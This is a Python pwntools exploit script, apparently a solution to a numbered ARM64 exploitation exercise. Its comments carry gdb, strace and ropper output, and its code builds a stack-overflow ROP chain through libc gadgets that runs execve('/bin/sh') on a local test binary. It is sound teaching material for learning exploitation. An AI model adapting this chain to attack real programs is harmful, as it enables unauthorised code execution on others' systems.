/
07-execve-rop.py
executable file
·85 lines (70 loc) · 2.19 KB
/
07-execve-rop.py
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#!/usr/bin/python
"""
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000400678 <+0>: stp x29, x30, [sp, #-32]!
...
0x0000000000400690 <+24>: ldp x29, x30, [sp], #32
0x0000000000400694 <+28>: ret
End of assembler dump.
(gdb) b vulnerable
Breakpoint 1 at 0x40063c: file src/07-execve-rop.c, line 6.
(gdb) b *0x0000000000400690
Breakpoint 2 at 0x400690: file src/07-execve-rop.c, line 17.
(gdb) c
Continuing.
Breakpoint 1, vulnerable () at src/07-execve-rop.c:6
6 printf("> ");
(gdb) p &buffer[0]
$1 = 0x40007ffd80 ""
(gdb) c
Continuing.
Breakpoint 2, main (argc=1650614882, argv=0x6262626262626262) at src/07-execve-rop.c:17
17 }
(gdb) i r $sp
sp 0x40007ffe00 0x40007ffe00
"""
"""
$ qemu-aarch64 -L /usr/aarch64-linux-gnu/ -strace ./bin/arm64/07-execve-rop
...
27963 openat(AT_FDCWD,"/lib/libc.so.6",O_RDONLY|O_CLOEXEC) = 3
...
27963 mmap(NULL,1413976,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_DENYWRITE,3,0) = 0x0000004000852000
...
"""
"""
$ ropper --nocolor --file /usr/aarch64-linux-gnu/lib/libc-2.27.so
0x0002c818: ldp x19, x20, [sp, #0x10]; ldp x21, x22, [sp, #0x20]; ldp x29, x30, [sp], #0x30; ret;
0x0008ffd4: mov x2, x22; mov x1, x21; mov x0, x20; blr x19;
0x000a2aa0: movz x8, #0xdd; svc #0; cmn x0, #0xfff; b.hs #0xa2ab4; ret;
"""
import struct
import sys
from pwn import *
context(arch='aarch64', os='linux', endian='little', word_size=64)
binary_path = './bin/arm64/07-execve-rop'
libc_path = '/usr/aarch64-linux-gnu/lib/libc-2.27.so'
saved_x30_addr = 0x40007ffe00 + 8
buffer_addr = 0x40007ffd80
libc_addr = 0x0000004000852000
ldp_many_addr = libc_addr + 0x0002c818
mov_args_blr_x19_addr = libc_addr + 0x0008ffd4
mov_x8_execve_svc_addr = libc_addr + 0x000a2aa0
libc = ELF(libc_path)
bin_sh_addr = libc_addr + libc.search('/bin/sh\x00').next()
p = process(binary_path)
#p = gdb.debug([binary_path])
payload = ''
payload += 'a' * (saved_x30_addr - buffer_addr)
payload += p64(ldp_many_addr)
payload += 'b' * 16
# <- $sp
payload += p64(0) # x29
payload += p64(mov_args_blr_x19_addr) # x30
payload += p64(mov_x8_execve_svc_addr) # x19
payload += p64(bin_sh_addr) # x20 -> x0
payload += p64(0) # x21
payload += p64(0) # x22
p.readuntil('> ')
p.write(payload)
p.interactive()